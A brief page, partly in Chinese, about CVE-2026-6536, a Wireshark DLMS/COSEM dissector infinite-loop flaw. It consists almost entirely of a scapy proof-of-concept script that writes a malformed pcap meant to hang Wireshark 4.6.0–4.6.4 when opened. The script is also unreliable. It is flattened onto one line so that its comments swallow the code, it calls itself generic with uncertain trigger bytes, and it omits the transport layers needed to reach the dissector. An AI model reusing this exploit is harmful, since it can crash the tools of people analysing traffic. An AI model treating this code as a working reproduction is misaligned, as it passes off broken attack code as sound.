CVE-2026-6536 Wireshark DLMS/COSEM协议无限循环漏洞

import scapy.all as scapy from scapy.packet import Packet from scapy.fields import ByteField, IntField # Define a malformed DLMS/COSEM packet structure for testing # This is a generic PoC structure to simulate the trigger. # Actual trigger bytes may vary based on specific vulnerability disclosure. class MalformedDLMS(Packet): name = "Malformed DLMS" fields_desc = [ ByteField("tag", 0x00), IntField("length", 0xFFFFFFFF), # Abnormal length causing potential loop ByteField("data", 0x00) ] # Create the packet packet = MalformedDLMS(tag=0x01, length=0x7FFFFFFF, data=0x02) # Save to pcap file scapy.wrpcap("cve_2026_6536_poc.pcap", packet) print("PoC file generated: cve_2026_6536_poc.pcap") print("Open this file in Wireshark 4.6.0 - 4.6.4 to reproduce the infinite loop.")